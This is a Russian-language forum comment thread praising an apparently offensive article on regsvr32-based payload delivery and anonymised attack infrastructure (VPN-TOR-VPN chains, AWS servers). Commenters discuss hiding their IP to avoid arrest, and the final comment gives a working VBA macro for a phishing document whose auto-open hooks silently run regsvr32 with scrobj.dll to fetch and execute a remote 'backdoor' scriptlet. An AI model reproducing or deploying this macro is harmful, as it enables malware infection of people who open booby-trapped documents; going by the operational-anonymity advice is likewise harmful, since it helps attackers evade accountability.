Отличная статья!
Надеюсь, что будут выходить ещё части.
Автору плюс.

 

Вот читаю я это всё, смотрю и мне как-то стрёмно, этим заниматься, ведь что-то могу протупить и привет чай, сухари и чё там ещё))) Я так понимаю, у ТС есть нормальный опыт в этом. У меня пару вопросов:
1. Ок, идёт у нас связка VPN -> TOR -> VPN. Как узнать, что все цепи работают нормально и одна не отвалилась и не спалила наш IP?
2. В каких странах лучше покупать ВПС с меньшим риском?
3. Разве не нужно ещё ставить шифрование диска ВПС для надежности? Если стоит - то что ставить и как?

 

ты мне нравишься.
Почему ufw а не iptables ?
Личное предпочтение или не владеешь?

 

Вот читаю я это всё, смотрю и мне как-то стрёмно, этим заниматься, ведь что-то могу протупить и привет чай, сухари и чё там ещё))) Я так понимаю, у ТС есть нормальный опыт в этом. У меня пару вопросов:
1. Ок, идёт у нас связка VPN -> TOR -> VPN. Как узнать, что все цепи работают нормально и одна не отвалилась и не спалила наш IP?
2. В каких странах лучше покупать ВПС с меньшим риском?
3. Разве не нужно ещё ставить шифрование диска ВПС для надежности? Если стоит - то что ставить и как?

Чай, сухари)))))
1. Когда один из сервисов дает сбой, связь намертво глохнет. Посмотри сам, выруби одно из трех (VPN, TOR, VPN) и ты поймешь что утечка не возможна. Если что то и может случиться, то скорее по забывяивости/невниманию. Я использую i3wm, справо внизу настроил показ публичного IP (с 10 секундным интервалом), это помогает мне вспомнить включен у меня vpn или нет. Но по ошибке подключиться к SRV2 без vpn у вас неполучится, если вы следовли моей инструкции.
2. Насколько я знаю, любые регионы AWS, в меру безопасны.
3. Думаю стоит шифровать, делается это штатными средствами amazon aws, надо не много повозиться. Но я не доконца понял принцип его работы.

ты мне нравишься.
Почему ufw а не iptables ?
Личное предпочтение или не владеешь?

iptables усвоил не давно. Но UFW мне кажется удобнее для мелких задач, типа открыть/закрыть порт.

 

удобнее

ну просто странно использовать vi и не пользоваться iptables))

 

ну просто странно использовать vi и не пользоваться iptables))

И в правду, перейдука я тогда на iptables))))) vi - мощный инструмент.

 

3. Думаю стоит шифровать, делается это штатными средствами amazon aws, надо не много повозиться. Но я не доконца понял принцип его работы.

Ну, я на амазоне вряд ли покупать буду, для такого, любой впс можно взять. Но я щас смотрю в сторону хуникса, для тестов. Тоже ведь хороший вариант, с такой цепочкой? Обнаружил сегодня ip, который брутит мою админку вп, сижу и думаю, что бы сделать)))

 

Ну, я на амазоне вряд ли покупать буду, для такого, любой впс можно взять. Но я щас смотрю в сторону хуникса, для тестов. Тоже ведь хороший вариант, с такой цепочкой? Обнаружил сегодня ip, который брутит мою админку вп, сижу и думаю, что бы сделать)))

Бан по ip или сделай скрипт который при 10 неправильных попытках входа добавляет ip в бан

 

Ну, я на амазоне вряд ли покупать буду, для такого, любой впс можно взять. Но я щас смотрю в сторону хуникса, для тестов. Тоже ведь хороший вариант, с такой цепочкой? Обнаружил сегодня ip, который брутит мою админку вп, сижу и думаю, что бы сделать)))

Да но амазон бесплатный)) зачем каждый месяц платить два сервера? Тем более за приемлемую цену врядь ли найдешь что то лучше амазон? Ты видел какая там скорось? ~ 600 Mbit/s download/upload

 

Бан по ip или сделай скрипт который при 10 неправильных попытках входа добавляет ip в бан

Так у меня защита там стоит, хрен попадут) я просто думаю, чтобы в отместку сделать, чтобы знали) На днях напишу статью, про защиту сайтов на ВП от скана и брута)

Да но амазон бесплатный)) зачем каждый месяц платить два сервера? Тем более за приемлемую цену врядь ли найдешь что то лучше амазон? Ты видел какая там скорось? ~ 600 Mbit/s download/upload

Хм, возможно ты прав. Я просто не в курсе, что к чему там)

 

про защиту сайтов на ВП от скана и брута

Уже интересно. Про zip бомбу уже писали если что

 

Уже интересно. Про zip бомбу уже писали если что

Нет. Я хочу написать про плагины, которые проверенны лично мной и работают. Настройка и т.п.) Я же в пентесте баран, пока что) а так, поделюсь тем, что знаю. Сравню и выложу примеры скана до и после.

 

Всем привет. подскажите, а что бы импортировать xml, разве не нужны системные привилегии ?

 

Всем привет. подскажите, а что бы импортировать xml, разве не нужны системные привилегии ?

Привет. По моему ты путаешь это с закреплентем в системе через планировшик задач, путем импорта XML.
В данном примере xml это инструкции для regsvr32, которые загружаются в RAM память. Привилегии не требуются.

 

я просто думаю, чтобы в отместку сделать, чтобы знали)

подкидывай ему редирект на сайт www.nsa.gov

 

Привет. По моему ты путаешь это с закреплентем в системе через планировшик задач, путем импорта XML.
В данном примере xml это инструкции для regsvr32, которые загружаются в RAM память. Привилегии не требуются.

Да, вы правы.

 

Слов нет , топовая работа. Мне добавить нечего по приведённому сегменту атаки. Так держать.
Где репутация , Господа ?

 

Приятно видеть свой простенький скриптец power-meter.
Статья отличная)) Плюсую)

 

Хочу добавить от себя,этот метод хорошо уживается с макросами..а именно когда нужно отправить "специально подготовленное письмо".
код макроса может выглядеть следующим образом:
#Private Sub Document_Open()
#Test
#End Sub

#Private Sub DocumentOpen()
#Test
#End Sub

#Private Sub Autopen()
#Test
#End Sub

#Private Sub AutoOpen()
#Test
#End Sub

#Private Sub Auto_Exec()
#Test
#End Sub

#Private Sub Test()
# Dim shell
#Dim out
#Set shell = VBA.CreateObject("WScript.Shell")
#out = shell.Run("regsvr32 /u /n /s /i:http://IP/bacdor.sct scrobj.dll", 0, False)
#End Sub

Автору респект за статью!!!